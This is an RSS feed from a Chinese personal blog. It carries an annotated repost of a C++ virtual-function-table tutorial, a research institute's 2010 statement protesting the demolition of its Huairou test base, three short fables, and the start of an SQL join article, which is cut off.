<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>凋零的羽 &#187; Digest</title>
	<atom:link href="http://www.halfroom.com/categories/digest/feed" rel="self" type="application/rss+xml" />
	<link>http://www.halfroom.com</link>
	<description>乘着风游荡在蓝天边</description>
	<lastBuildDate>Fri, 30 Jul 2010 01:26:21 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>zh-cn</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>C++虚函数表解析(转)update</title>
		<link>http://www.halfroom.com/cpp-virtual-fun.html</link>
		<comments>http://www.halfroom.com/cpp-virtual-fun.html#comments</comments>
		<pubDate>Thu, 29 Jul 2010 12:00:58 +0000</pubDate>
		<dc:creator>灰灰</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Digest]]></category>

		<guid isPermaLink="false">http://www.halfroom.com/?p=1120</guid>
		<description><![CDATA[






update: 今天花了一下午仔细看了这篇文章，却怎么也琢磨不透，因为当中的说法前后存在一些矛盾，后来脑子快崩溃的时候，做了一个大胆的假设： 也许里面有些地方说错了。 
果然，当我回头看这篇文章下面的评论的时候，才知道，作者确实某些地方说错了。。。但是，回过头来评价这篇文章，真的是一绝的好文，堪称一绝是无可厚非的。
现在我将其中的错误作出相应的修改，以及矛盾的说明，并以红色字说明。
original:
C++中的虚函数的作用主要是实现了多态的机制。关于多态，简而言之就是用父类型别的指针指向其子类的实例，然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”，这是一种泛型技术。所谓泛型技术，说白了就是试图使用不变的代码来实现可变的算法。比如：模板技术，RTTI技术，虚函数技术，要么是试图做到在编译时决议，要么试图做到运行时决议。
关于虚函数的使用方法，我在这里不做过多的阐述。大家可以看看相关的C++的书籍。在这篇文章中，我只想从虚函数的实现机制上面为大家 一个清晰的剖析。
当然，相同的文章在网上也出现过一些了，但我总感觉这些文章不是很容易阅读，大段大段的代码，没有图片，没有详细的说明，没有比较，没有举一反三。不利于学习和阅读，所以这是我想写下这篇文章的原因。也希望大家多给我提意见。
言归正传，让我们一起进入虚函数的世界。
虚函数表
对C++ 了解的人都应该知道虚函数（Virtual Function）是通过一张虚函数表（Virtual Table）来实现的。简称为V-Table。 在这个表中，主是要一个类的虚函数的地址表，这张表解决了继承、覆盖的问题，保证其容真实反应实际的函数。这样，在有虚函数的类的实例中这个表被分配在了 这个实例的内存中（应该更正为 一个类的虚函数表是静态的，也就是说对这个类的每个实例，他的虚函数表的是固定的，不会为每个实例生成一个相应的虚函数表。），所以，当我们用父类的指针来操作一个子类的时候，这张虚函数表就显得由为重要了，它就像一个地图一样，指明了实际所应该调用的函数。
这里我们着重看一下这张虚函数表。在C++的标准规格说明书中说到，编译器必需要保证虚函数表的指针(这里明明说对象实例的最前面的位置存的是虚函数表的指针，注意，不是虚函数表，而是指向虚函数表的指针，然后再看下面的例子上的代码)存在于对象实例中最前面的位置（这是为了保证正确取到虚函数的偏移量）。 这意味着我们通过对象实例的地址得到这张虚函数表(这话没错，不过，通过对象实例的地址一次是取不到的，需要两次)，然后就可以遍历其中函数指针，并调用相应的函数。
听我扯了那么多，我可以感觉出来你现在可能比以前更加晕头转向了。 没关系，下面就是实际的例子，相信聪明的你一看就明白了。
假设我们有这样的一个类：
class Base {
public:
virtual void f() { cout &#60;&#60; &#8220;Base::f&#8221; &#60;&#60; endl; }
virtual void g() { cout &#60;&#60; &#8220;Base::g&#8221; &#60;&#60; endl; }
virtual void h() { cout &#60;&#60; &#8220;Base::h&#8221; &#60;&#60; endl; }
};
按照上面的说法，我们可以通过Base的实例来得到虚函数表。 下面是实际例程：
typedef void(*Fun)(void);
Base b;
Fun pFun = NULL;
cout &#60;&#60; &#8220;虚函数表地址：&#8221; &#60;&#60; (int*)(&#38;b) &#60;&#60; endl;  //这只是对象实例的地址，而非虚函数表的地址，*(int*)(&#38;b)才是指向虚函数表的指针，也就是虚函数表的地址，这与最前面的括号里面的注明相呼应。
cout [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff0000;">update: 今天花了一下午仔细看了这篇文章，却怎么也琢磨不透，因为当中的说法前后存在一些矛盾，后来脑子快崩溃的时候，做了一个大胆的假设： 也许里面有些地方说错了。 </span></p>
<p><span style="color: #ff0000;">果然，当我回头看这篇文章下面的评论的时候，才知道，作者确实某些地方说错了。。。但是，回过头来评价这篇文章，真的是一绝的好文，堪称一绝是无可厚非的。</span></p>
<p><span style="color: #ff0000;">现在我将其中的错误作出相应的修改，以及矛盾的说明，并以红色字说明。</span></p>
<p>original:</p>
<p>C++中的虚函数的作用主要是实现了多态的机制。关于多态，简而言之就是用父类型别的指针指向其子类的实例，然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”，这是一种泛型技术。所谓泛型技术，说白了就是试图使用不变的代码来实现可变的算法。比如：模板技术，RTTI技术，虚函数技术，要么是试图做到在编译时决议，要么试图做到运行时决议。</p>
<p>关于虚函数的使用方法，我在这里不做过多的阐述。大家可以看看相关的C++的书籍。在这篇文章中，我只想从虚函数的实现机制上面为大家 一个清晰的剖析。</p>
<p>当然，相同的文章在网上也出现过一些了，但我总感觉这些文章不是很容易阅读，大段大段的代码，没有图片，没有详细的说明，没有比较，没有举一反三。不利于学习和阅读，所以这是我想写下这篇文章的原因。也希望大家多给我提意见。</p>
<p>言归正传，让我们一起进入虚函数的世界。</p>
<h3>虚函数表</h3>
<p>对C++ 了解的人都应该知道虚函数（Virtual Function）是通过一张虚函数表（Virtual Table）来实现的。简称为V-Table。 在这个表中，主是要一个类的虚函数的地址表，这张表解决了继承、覆盖的问题，保证其容真实反应实际的函数。这样，<span style="text-decoration: line-through;">在有虚函数的类的实例中这个表被分配在了 这个实例的内存中</span><span style="color: #ff0000;">（应该更正为 一个类的虚函数表是静态的，也就是说对这个类的每个实例，他的虚函数表的是固定的，不会为每个实例生成一个相应的虚函数表。）</span>，所以，当我们用父类的指针来操作一个子类的时候，这张虚函数表就显得由为重要了，它就像一个地图一样，指明了实际所应该调用的函数。</p>
<p>这里我们着重看一下这张虚函数表。在C++的标准规格说明书中说到，编译器必需要保证<span style="color: #000000;">虚函数表的指针</span><span style="color: #ff0000;">(这里明明说对象实例的最前面的位置存的是虚函数表的指针，注意，不是虚函数表，而是指向虚函数表的指针，然后再看下面的例子上的代码)</span>存在于对象实例中最前面的位置（这是为了保证正确取到虚函数的偏移量）。 这意味着我们通过对象实例的地址得到这张虚函数表<span style="color: #ff0000;">(这话没错，不过，通过对象实例的地址一次是取不到的，需要两次)</span>，然后就可以遍历其中函数指针，并调用相应的函数。</p>
<p>听我扯了那么多，我可以感觉出来你现在可能比以前更加晕头转向了。 没关系，下面就是实际的例子，相信聪明的你一看就明白了。</p>
<p>假设我们有这样的一个类：</p>
<p>class Base {</p>
<p>public:</p>
<p>virtual void f() { cout &lt;&lt; &#8220;Base::f&#8221; &lt;&lt; endl; }</p>
<p>virtual void g() { cout &lt;&lt; &#8220;Base::g&#8221; &lt;&lt; endl; }</p>
<p>virtual void h() { cout &lt;&lt; &#8220;Base::h&#8221; &lt;&lt; endl; }</p>
<p>};</p>
<p>按照上面的说法，我们可以通过Base的实例来得到虚函数表。 下面是实际例程：</p>
<p>typedef void(*Fun)(void);</p>
<p>Base b;</p>
<p>Fun pFun = NULL;</p>
<p>cout &lt;&lt; &#8220;虚函数表地址：&#8221; &lt;&lt; (int*)(&amp;b) &lt;&lt; endl;  <span style="color: #ff0000;">//这只是对象实例的地址，而非虚函数表的地址</span>，*(int*)(&amp;b)才是指向虚函<span style="color: #ff0000;">数表的指针，也就是虚函数表的地址，这与最前面的括号里面的注明相呼应。</span></p>
<p>cout &lt;&lt; &#8220;虚函数表 — 第一个函数地址：&#8221; &lt;&lt; (int*)*(int*)(&amp;b) &lt;&lt; endl;  <span style="color: #ff0000;">//而这个才是虚函数表的地址，虚函数表的第一个函数地址（函数指针）应该是*(int*)*(int*)(&amp;b)，这样下面的函数指针赋值才说得通：pFun = (Fun)*((int*)*(int*)(&amp;b)); ，不然下面的“</span></p>
<p><span style="color: #ff0000;">(Fun)*((int*)*(int*)(&amp;b)+0); // Base::f()</span></p>
<p><span style="color: #ff0000;">(Fun)*((int*)*(int*)(&amp;b)+1); // Base::g()</span></p>
<p><span style="color: #ff0000;">(Fun)*((int*)*(int*)(&amp;b)+2); // Base::h()</span></p>
<p><span style="color: #ff0000;">”</span></p>
<p><span style="color: #ff0000;">的+0， +1， +2这样的函数指针偏移方式也说不通了。<br />
</span></p>
<p>// Invoke the first virtual function</p>
<p>pFun = (Fun)*((int*)*(int*)(&amp;b));</p>
<p>pFun();</p>
<p>实际运行经果如下：(Windows XP+VS2003, Linux 2.6.22 + GCC 4.1.3)</p>
<p>虚函数表地址：0012FED4</p>
<p>虚函数表 — 第一个函数地址：0044F148</p>
<p>Base::f</p>
<p>通过这个示例，我们可以看到，我们可以通过强行把&amp;b转成int *，取得虚函数表的地址，然后，再次取址就可以得到第一个虚函数的地址了，也就是Base::f()，这在上面的程序中得到了验证（把int* 强制转成了函数指针）。通过这个示例，我们就可以知道如果要调用Base::g()和Base::h()，其代码如下：</p>
<p>(Fun)*((int*)*(int*)(&amp;b)+0); // Base::f()</p>
<p>(Fun)*((int*)*(int*)(&amp;b)+1); // Base::g()</p>
<p>(Fun)*((int*)*(int*)(&amp;b)+2); // Base::h()</p>
<p>这个时候你应该懂了吧。什么？还是有点晕。也是，这样的代码看着太乱了。没问题，让我画个图解释一下。如下所示：</p>
<p><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_vtable1.jpg" border="0" alt="" /></p>
<p>注意：在上面这个图中，我在虚函数表的最后多加了一个结点，这是虚函数表的结束结点，就像字符串的结束符“\0”一样，其标志了虚函数表的结束。这个结束标志的值在不同的编译器下是不同的。在WinXP+VS2003下，这个值是NULL。而在Ubuntu 7.10 + Linux 2.6.22 + GCC 4.1.3下，这个值是如果1，表示还有下一个虚函数表，如果值是0，表示是最后一个虚函数表。</p>
<p>下面，我将分别说明“无覆盖”和“有覆盖”时的虚函数表的样子。没有覆盖父类的虚函数是毫无意义的。我之所以要讲述没有覆盖的情况，主要目的是为了给一个对比。在比较之下，我们可以更加清楚地知道其内部的具体实现。</p>
<h3>一般继承（无虚函数覆盖）</h3>
<p>下面，再让我们来看看继承时的虚函数表是什么样的。假设有如下所示的一个继承关系：</p>
<p><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_Drawing3.jpg" border="0" alt="" /></p>
<p><span id="more-1120"></span></p>
<p>请注意，在这个继承关系中，子类没有重载任何父类的函数。那么，在派生类的实例中，其虚函数表如下所示：</p>
<p>对于实例：Derive d; 的虚函数表如下：</p>
<p><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_vtable2.JPG" border="0" alt="" /></p>
<p>我们可以看到下面几点：</p>
<p>1）虚函数按照其声明顺序放于表中。</p>
<p>2）父类的虚函数在子类的虚函数前面。</p>
<p>我相信聪明的你一定可以参考前面的那个程序，来编写一段程序来验证。</p>
<h3>一般继承（有虚函数覆盖）</h3>
<p>覆盖父类的虚函数是很显然的事情，不然，虚函数就变得毫无意义。下面，我们来看一下，如果子类中有虚函数重载了父类的虚函数，会是一个什么样子？假设，我们有下面这样的一个继承关系。</p>
<p><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_Drawing4.jpg" border="0" alt="" /></p>
<p>为了让大家看到被继承过后的效果，在这个类的设计中，我只覆盖了父类的一个函数：f()。那么，对于派生类的实例，其虚函数表会是下面的一个样子：</p>
<p><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_vtable3.JPG" border="0" alt="" /></p>
<p>我们从表中可以看到下面几点，</p>
<p>1）覆盖的f()函数被放到了虚表中原来父类虚函数的位置。</p>
<p>2）没有被覆盖的函数依旧。</p>
<p>这样，我们就可以看到对于下面这样的程序，</p>
<p>Base *b = new Derive();</p>
<p>b-&gt;f();</p>
<p>由b所指的内存中的虚函数表的f()的位置已经被Derive::f()函数地址所取代，于是在实际调用发生时，是Derive::f()被调用了。这就实现了多态。</p>
<h3>多重继承（无虚函数覆盖）</h3>
<p>下面，再让我们来看看多重继承中的情况，假设有下面这样一个类的继承关系。注意：子类并没有覆盖父类的函数。</p>
<p><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_Drawing1.jpg" border="0" alt="" /></p>
<p>对于子类实例中的虚函数表，是下面这个样子：</p>
<p><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_vtable4.JPG" border="0" alt="" /></p>
<p>我们可以看到：</p>
<p>1） 每个父类都有自己的虚表。</p>
<p>2） 子类的成员函数被放到了第一个父类的表中。（所谓的第一个父类是按照声明顺序来判断的）</p>
<p>这样做就是为了解决不同的父类类型的指针指向同一个子类实例，而能够调用到实际的函数。</p>
<h3>多重继承（有虚函数覆盖）</h3>
<p>下面我们再来看看，如果发生虚函数覆盖的情况。</p>
<p>下图中，我们在子类中覆盖了父类的f()函数。</p>
<p><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_Drawing2.jpg" border="0" alt="" /></p>
<p>下面是对于子类实例中的虚函数表的图：</p>
<p><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_vtable5.jpg" border="0" alt="" /></p>
<p>我们可以看见，三个父类虚函数表中的f()的位置被替换成了子类的函数指针。这样，我们就可以任一静态类型的父类来指向子类，并调用子类的f()了。如：</p>
<p>Derive d;</p>
<p>Base1 *b1 = &amp;d;</p>
<p>Base2 *b2 = &amp;d;</p>
<p>Base3 *b3 = &amp;d;</p>
<p>b1-&gt;f(); //Derive::f()</p>
<p>b2-&gt;f(); //Derive::f()</p>
<p>b3-&gt;f(); //Derive::f()</p>
<p>b1-&gt;g(); //Base1::g()</p>
<p>b2-&gt;g(); //Base2::g()</p>
<p>b3-&gt;g(); //Base3::g()</p>
<h3>安全性</h3>
<p>每次写C++的文章，总免不了要批判一下C++。这篇文章也不例外。通过上面的讲述，相信我们对虚函数表有一个比较细致的了解了。水可载舟，亦可覆舟。下面，让我们来看看我们可以用虚函数表来干点什么坏事吧。</p>
<p><strong>一、通过父类型的指针访问子类自己的虚函数</strong></p>
<p>我们知道，子类没有重载父类的虚函数是一件毫无意义的事情。因为多态也是要基于函数重载的。虽然在上面的图中我们可以看到Base1的虚表中有Derive的虚函数，但我们根本不可能使用下面的语句来调用子类的自有虚函数：</p>
<p>Base1 *b1 = new Derive();</p>
<p>b1-&gt;f1(); //编译出错</p>
<p>任何妄图使用父类指针想调用子类中的<strong>未覆盖父类的成员函数</strong>的行为都会被编译器视为非法，所以，这样的程序根本无法编译通过。但在运行时，我们可以通过指针的方式访问虚函数表来达到违反C++语义的行为。（关于这方面的尝试，通过阅读后面附录的代码，相信你可以做到这一点）</p>
<p><strong>二、访问non-public</strong><strong>的虚函数</strong></p>
<p>另外，如果父类的虚函数是private或是protected的，但这些非public的虚函数同样会存在于虚函数表中，所以，我们同样可以使用访问虚函数表的方式来访问这些non-public的虚函数，这是很容易做到的。</p>
<p>如：</p>
<p>class Base {</p>
<p>private:</p>
<p>virtual void f() { cout &lt;&lt; &#8220;Base::f&#8221; &lt;&lt; endl; }</p>
<p>};</p>
<p>class Derive : public Base{</p>
<p>};</p>
<p>typedef void(*Fun)(void);</p>
<p>void main() {</p>
<p>Derive d;</p>
<p>Fun pFun = (Fun)*((int*)*(int*)(&amp;d)+0);</p>
<p>pFun();</p>
<p>}</p>
<h3>结束语</h3>
<p>C++这门语言是一门Magic的语言，对于程序员来说，我们似乎永远摸不清楚这门语言背着我们在干了什么。需要熟悉这门语言，我们就必需要了解C++里面的那些东西，需要去了解C++中那些危险的东西。不然，这是一种搬起石头砸自己脚的编程语言。</p>
<p><span style="color: #ff0000;">为了说明文章里提到的问题，我在下面附上我的代码，环境是g++ 编译的，编译时要注意多一个参数，</span></p>
<pre class="brush: bash;">
g++ virtual_func.cpp -Wno-pmf-conversions -o virtual_func
</pre>
<p><span style="color: #ff0000;">代码：</span></p>
<p><span style="color: #ff0000;"><br />
</span></p>
<pre class="brush: cpp;">
#include&lt;iostream&gt;
#include&lt;stdio.h&gt;
using namespace std;
typedef void(*Fun)(void);
typedef void (*func_type)(void * obj);
class Base {

public:
    virtual void f() { cout &lt;&lt; &quot;Base::f&quot; &lt;&lt; endl; }

    virtual void g() { cout &lt;&lt; &quot;Base::g&quot; &lt;&lt; endl; }

    virtual void h() { cout &lt;&lt; &quot;Base::h&quot; &lt;&lt; endl; }
}; 

int main(int argc, char* argv[])
{
    Base a,b;
    func_type pa,pb;
    pa = &amp;Base::f;
    pb = &amp;Base::f;
    cout &lt;&lt; &quot;Addr of b: &quot; &lt;&lt; (int*)(&amp;b) &lt;&lt; endl;
    cout &lt;&lt; &quot;Addr of v-table in b: &quot; &lt;&lt; (int*)*(int*)(&amp;b) &lt;&lt; endl; //虚函数表的地址。
    cout &lt;&lt; &quot;Addr of first virtual func in v-table of b: &quot; &lt;&lt; (int*)*(int*)*(int*)(&amp;b) &lt;&lt; endl; //第一个虚函数的地址
    cout &lt;&lt; &quot;Addr of a: &quot; &lt;&lt; (int*)(&amp;a) &lt;&lt; endl;
    cout &lt;&lt; &quot;Addr of v-table in a: &quot; &lt;&lt; (int*)*(int*)(&amp;a) &lt;&lt; endl;
    cout &lt;&lt; &quot;Addr of first virtual func in v-table of a: &quot; &lt;&lt; (int*)*(int*)*(int*)(&amp;a) &lt;&lt; endl; //从这里我们可以看到，无论是实例a，还是实例b，他们的虚函数地址是一样的，也就是上面红色字体说的，虚函数表是静态的，不会为每个实例生成一个相应的虚函数表。
   Fun pFun = NULL;
   Fun pFuni = NULL;
   // Invoke the first virtual function
   pFun = (Fun)*((int*)*(int*)(&amp;b));
   cout &lt;&lt; &quot;pFun callback: &quot; ;
   pFun();
   cout &lt;&lt; endl;
   cout &lt;&lt; &quot;Callback of b: &quot; ;
   pa(&amp;b);
   cout &lt;&lt; endl;
   cout &lt;&lt; &quot;Callback of a: &quot; ;
   pb(&amp;a);
   cout &lt;&lt; endl;
   //printf(&quot;(int*)*(int*)(&amp;b): 0x%x\n&quot;,*(int*)*(int*)(&amp;b));
   printf(&quot;pFun: 0x%x\n&quot;, pFun); //这行以及下一行其实没多大意义，只是为了证明所有实例的虚函数表地址和虚函数 地址是一样的。
   printf(&quot;pb: 0x%x\n&quot;, pb);
   printf(&quot;pa: 0x%x\n&quot;, pa);
   return 0;
 }
</pre>
<p>运行结果如下：</p>
<pre class="brush: bash;">
Addr of b: 0xbfffe088
Addr of v-table in b: 0x8048c98
Addr of first virtual func in v-table of b: 0x8048a8a
Addr of a: 0xbfffe08c
Addr of v-table in a: 0x8048c98
Addr of first virtual func in v-table of a: 0x8048a8a
pFun callback: Base::f

Callback of b: Base::f

Callback of a: Base::f

pFun: 0x8048a8a
pb: 0x8048a8a
pa: 0x8048a8a
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.halfroom.com/cpp-virtual-fun.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>中科院力学所怀柔试验基地被非法拆毁</title>
		<link>http://www.halfroom.com/huai-rou-bei-chai.html</link>
		<comments>http://www.halfroom.com/huai-rou-bei-chai.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 09:11:45 +0000</pubDate>
		<dc:creator>灰灰</dc:creator>
				<category><![CDATA[Digest]]></category>

		<guid isPermaLink="false">http://www.halfroom.com/?p=1200</guid>
		<description><![CDATA[我们以沉痛和愤怒的心情正式宣告，我所怀柔试验基地遭暴力拆毁，钱学森先生回国建立的首批实验室被夷为平地。
2010年7月17日上午，试验基地的保安人员被一伙不明身份人员控制，失去人身自由。在此期间，共计9处房屋被大型铲车与推土机夷为平地，一批重要的科研装置和设备被砸毁掩埋。2010年7月22日至23日，该试验基地再遭持续地肆意毁坏，钱学森先生回国初期指导研制的科研装备等大量历史性文物、国家973项目试验装备、国防重大科研任务的仪器装置和备件等以“垃圾”的名义被清除出场，值守该试验基地的工作人员深受刺激入院治疗。
该试验基地是钱学森先生回国后亲自选址和创建的，是我国第一个火箭研究与试验基地，为我国“两弹一星”做出了重大的历史性贡献。目前，该试验基地正承担着国家重大专项、国家重大基础研究发展计划项目等重大科研任务。此次试验基地被毁，初步统计的国有资产直接损失高达1700余万元。更加令人痛心的是，一批我国现代科技史上代表性的珍贵文物被肆无忌惮的捣毁和清运，一批国家级的重大科研任务被迫停滞。
在我国和谐、稳定、快速发展的大好局面下，在中国科学院这一神圣的科学殿堂，发生了如此野蛮的暴力事件，令人震惊！力学所参与试验基地建设和“两弹一星”攻关任务的院士和科学家们悲愤交加，全体科研人员极为愤慨。“炎夏似隆冬，白昼如夤夜”是我们此刻共同的感受。
事件发生后，我们已经在第一时间向中科院有关领导和部门进行了汇报，并向当地公安机关报案。我们要相信党、相信组织，让我们一起期待法律的公正判决！
请全体职工和学生克制情绪，保重身体，克服困难，团结起来，勤奋工作，以实实在在的科研工作报效祖国，告慰钱学森先生等的在天之灵！
中国科学院力学研究所
2010年7月23日
详见：http://www.imech.ac.cn/xwdt/tpxw/201007/t20100723_2909933.html
]]></description>
			<content:encoded><![CDATA[<p>我们以沉痛和愤怒的心情正式宣告，我所怀柔试验基地遭暴力拆毁，钱学森先生回国建立的首批实验室被夷为平地。</p>
<p>2010年7月17日上午，试验基地的保安人员被一伙不明身份人员控制，失去人身自由。在此期间，共计9处房屋被大型铲车与推土机夷为平地，一批重要的科研装置和设备被砸毁掩埋。2010年7月22日至23日，该试验基地再遭持续地肆意毁坏，钱学森先生回国初期指导研制的科研装备等大量历史性文物、国家973项目试验装备、国防重大科研任务的仪器装置和备件等以“垃圾”的名义被清除出场，值守该试验基地的工作人员深受刺激入院治疗。</p>
<p>该试验基地是钱学森先生回国后亲自选址和创建的，是我国第一个火箭研究与试验基地，为我国“两弹一星”做出了重大的历史性贡献。目前，该试验基地正承担着国家重大专项、国家重大基础研究发展计划项目等重大科研任务。此次试验基地被毁，初步统计的国有资产直接损失高达1700余万元。更加令人痛心的是，一批我国现代科技史上代表性的珍贵文物被肆无忌惮的捣毁和清运，一批国家级的重大科研任务被迫停滞。</p>
<p>在我国和谐、稳定、快速发展的大好局面下，在中国科学院这一神圣的科学殿堂，发生了如此野蛮的暴力事件，令人震惊！力学所参与试验基地建设和“两弹一星”攻关任务的院士和科学家们悲愤交加，全体科研人员极为愤慨。“炎夏似隆冬，白昼如夤夜”是我们此刻共同的感受。</p>
<p>事件发生后，我们已经在第一时间向中科院有关领导和部门进行了汇报，并向当地公安机关报案。我们要相信党、相信组织，让我们一起期待法律的公正判决！</p>
<p>请全体职工和学生克制情绪，保重身体，克服困难，团结起来，勤奋工作，以实实在在的科研工作报效祖国，告慰钱学森先生等的在天之灵！</p>
<p>中国科学院力学研究所</p>
<p>2010年7月23日</p>
<p>详见：<a href="http://www.imech.ac.cn/xwdt/tpxw/201007/t20100723_2909933.html" target="_blank">http://www.imech.ac.cn/xwdt/tpxw/201007/t20100723_2909933.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.halfroom.com/huai-rou-bei-chai.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>“新伊索寓言”</title>
		<link>http://www.halfroom.com/new-aesop-fables.html</link>
		<comments>http://www.halfroom.com/new-aesop-fables.html#comments</comments>
		<pubDate>Tue, 20 Jul 2010 00:54:23 +0000</pubDate>
		<dc:creator>灰灰</dc:creator>
				<category><![CDATA[Digest]]></category>

		<guid isPermaLink="false">http://www.halfroom.com/%e2%80%9c%e6%96%b0%e4%bc%8a%e7%b4%a2%e5%af%93%e8%a8%80%e2%80%9d.html</guid>
		<description><![CDATA[“新伊索寓言”
橡树和芦苇
一棵大橡树被大风连根拔起，飞到河那边，落到一片芦苇旁。橡树对芦苇说：&#8221;你们那么轻弱，我真不明白你们怎么会不被狂风彻底摧残呢？&#8221;芦苇回答说：&#8221;你和风抗争，最后你失败了。而我们正好相反，只要有一点点微风，我们就在它面前弯下腰来，因此就不会被折断，所以能避免摧残。&#8221;
芦苇正得意洋洋地说教着，一个农人走过来，发现了这棵橡树，如获至宝。农人家里准备打家具，这根橡木正合适。农人临走时还割倒了一片芦苇，农人家里也正缺少柴禾。过了几天，芦苇被送进灶膛时，忍不住又看了一下那棵橡树&#8211;橡树已被打造成一只柜子，这回芦苇不再多舌。
核桃树
路旁的核桃树结满了核桃。过路的行人为了把核桃打下来，用石头打它，用棍子敲它，把它的树枝都弄折了。核桃树不由地叹息道：&#8221;唉，我的命真苦啊！我用我的核桃给人们享用，而他们却给我这种痛苦做回报！&#8221;它的叹息给旁边的另一棵不结核桃的核桃树听到了，不结核桃的核桃树同情地说：&#8221;看来，你得学我的样，不结一颗核桃出来，那么，人们又怎能摧残你呢！&#8221;结核桃的核桃树想了想说：&#8221;到底我也有我的荣耀啊！人们走过我的身边，常常会对我发出赞叹，赞叹我的丰美，赞叹我的能耐。一旦不结果子了，我还能得到这些荣耀吗？再说，做一棵不结核桃的核桃树，还能算是核桃树么？&#8221;不结核桃的核桃树听了此话生气地说：&#8221;我好心好意地劝你，你倒要嘲笑我，你既要享受荣誉，那就只好受苦了！&#8221;
唱歌的人
有个人没有唱歌的天分，但很喜欢唱歌。平常他在家里对着墙壁，大唱特唱，声音在屋里回响。他觉得自己的嗓音实在好极了，周围的一切都在欣赏他、赞美他无与伦比的歌喉。钟摆不由自主和着他的拍子，蚊子情不自禁为他伴唱，连他自己的影子都在一晃一晃为他起舞。他决定走出屋外，登台演出。可是离腔走调的破嗓音实在难听，观众忍无可忍发出一片嘘声，最后一个个都逃走了。他在空旷的台上，发出怨言：都说知音难觅，这话真是没错，这些人哪，竟不及我屋子里一只蚊子懂得欣赏！
作者：徐慧芬
]]></description>
			<content:encoded><![CDATA[<p>“新伊索寓言”</p>
<p><img src="file:///C:/DOCUME%7E1/jenny23/LOCALS%7E1/Temp/moz-screenshot.png" alt="" /><img src="file:///C:/DOCUME%7E1/jenny23/LOCALS%7E1/Temp/moz-screenshot-1.png" alt="" /><img class="alignleft" title="伊索寓言" src="http://d2eosjbgw49cu5.cloudfront.net/wangtam.com/imgname--aaecea---50226711--images--AesopFables.jpg" alt="伊索寓言" width="144" height="147" />橡树和芦苇</p>
<p>一棵大橡树被大风连根拔起，飞到河那边，落到一片芦苇旁。橡树对芦苇说：&#8221;你们那么轻弱，我真不明白你们怎么会不被狂风彻底摧残呢？&#8221;芦苇回答说：&#8221;你和风抗争，最后你失败了。而我们正好相反，只要有一点点微风，我们就在它面前弯下腰来，因此就不会被折断，所以能避免摧残。&#8221;</p>
<p>芦苇正得意洋洋地说教着，一个农人走过来，发现了这棵橡树，如获至宝。农人家里准备打家具，这根橡木正合适。农人临走时还割倒了一片芦苇，农人家里也正缺少柴禾。过了几天，芦苇被送进灶膛时，忍不住又看了一下那棵橡树&#8211;橡树已被打造成一只柜子，这回芦苇不再多舌。</p>
<p>核桃树</p>
<p>路旁的核桃树结满了核桃。过路的行人为了把核桃打下来，用石头打它，用棍子敲它，把它的树枝都弄折了。核桃树不由地叹息道：&#8221;唉，我的命真苦啊！我用我的核桃给人们享用，而他们却给我这种痛苦做回报！&#8221;它的叹息给旁边的另一棵不结核桃的核桃树听到了，不结核桃的核桃树同情地说：&#8221;看来，你得学我的样，不结一颗核桃出来，那么，人们又怎能摧残你呢！&#8221;结核桃的核桃树想了想说：&#8221;到底我也有我的荣耀啊！人们走过我的身边，常常会对我发出赞叹，赞叹我的丰美，赞叹我的能耐。一旦不结果子了，我还能得到这些荣耀吗？再说，做一棵不结核桃的核桃树，还能算是核桃树么？&#8221;不结核桃的核桃树听了此话生气地说：&#8221;我好心好意地劝你，你倒要嘲笑我，你既要享受荣誉，那就只好受苦了！&#8221;</p>
<p>唱歌的人</p>
<p>有个人没有唱歌的天分，但很喜欢唱歌。平常他在家里对着墙壁，大唱特唱，声音在屋里回响。他觉得自己的嗓音实在好极了，周围的一切都在欣赏他、赞美他无与伦比的歌喉。钟摆不由自主和着他的拍子，蚊子情不自禁为他伴唱，连他自己的影子都在一晃一晃为他起舞。他决定走出屋外，登台演出。可是离腔走调的破嗓音实在难听，观众忍无可忍发出一片嘘声，最后一个个都逃走了。他在空旷的台上，发出怨言：都说知音难觅，这话真是没错，这些人哪，竟不及我屋子里一只蚊子懂得欣赏！</p>
<p>作者：徐慧芬</p>
]]></content:encoded>
			<wfw:commentRss>http://www.halfroom.com/new-aesop-fables.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL连接查询</title>
		<link>http://www.halfroom.com/sql-join-query.html</link>
		<comments>http://www.halfroom.com/sql-join-query.html#comments</comments>
		<pubDate>Mon, 21 Jun 2010 02:54:09 +0000</pubDate>
		<dc:creator>灰灰</dc:creator>
				<category><![CDATA[Digest]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.halfroom.com/?p=1158</guid>
		<description><![CDATA[通过连接运算符可以实现多个表查询。连接是关系数据库模型的主要特点，也是它区别于其它类型数据库管理系统的一个标志。
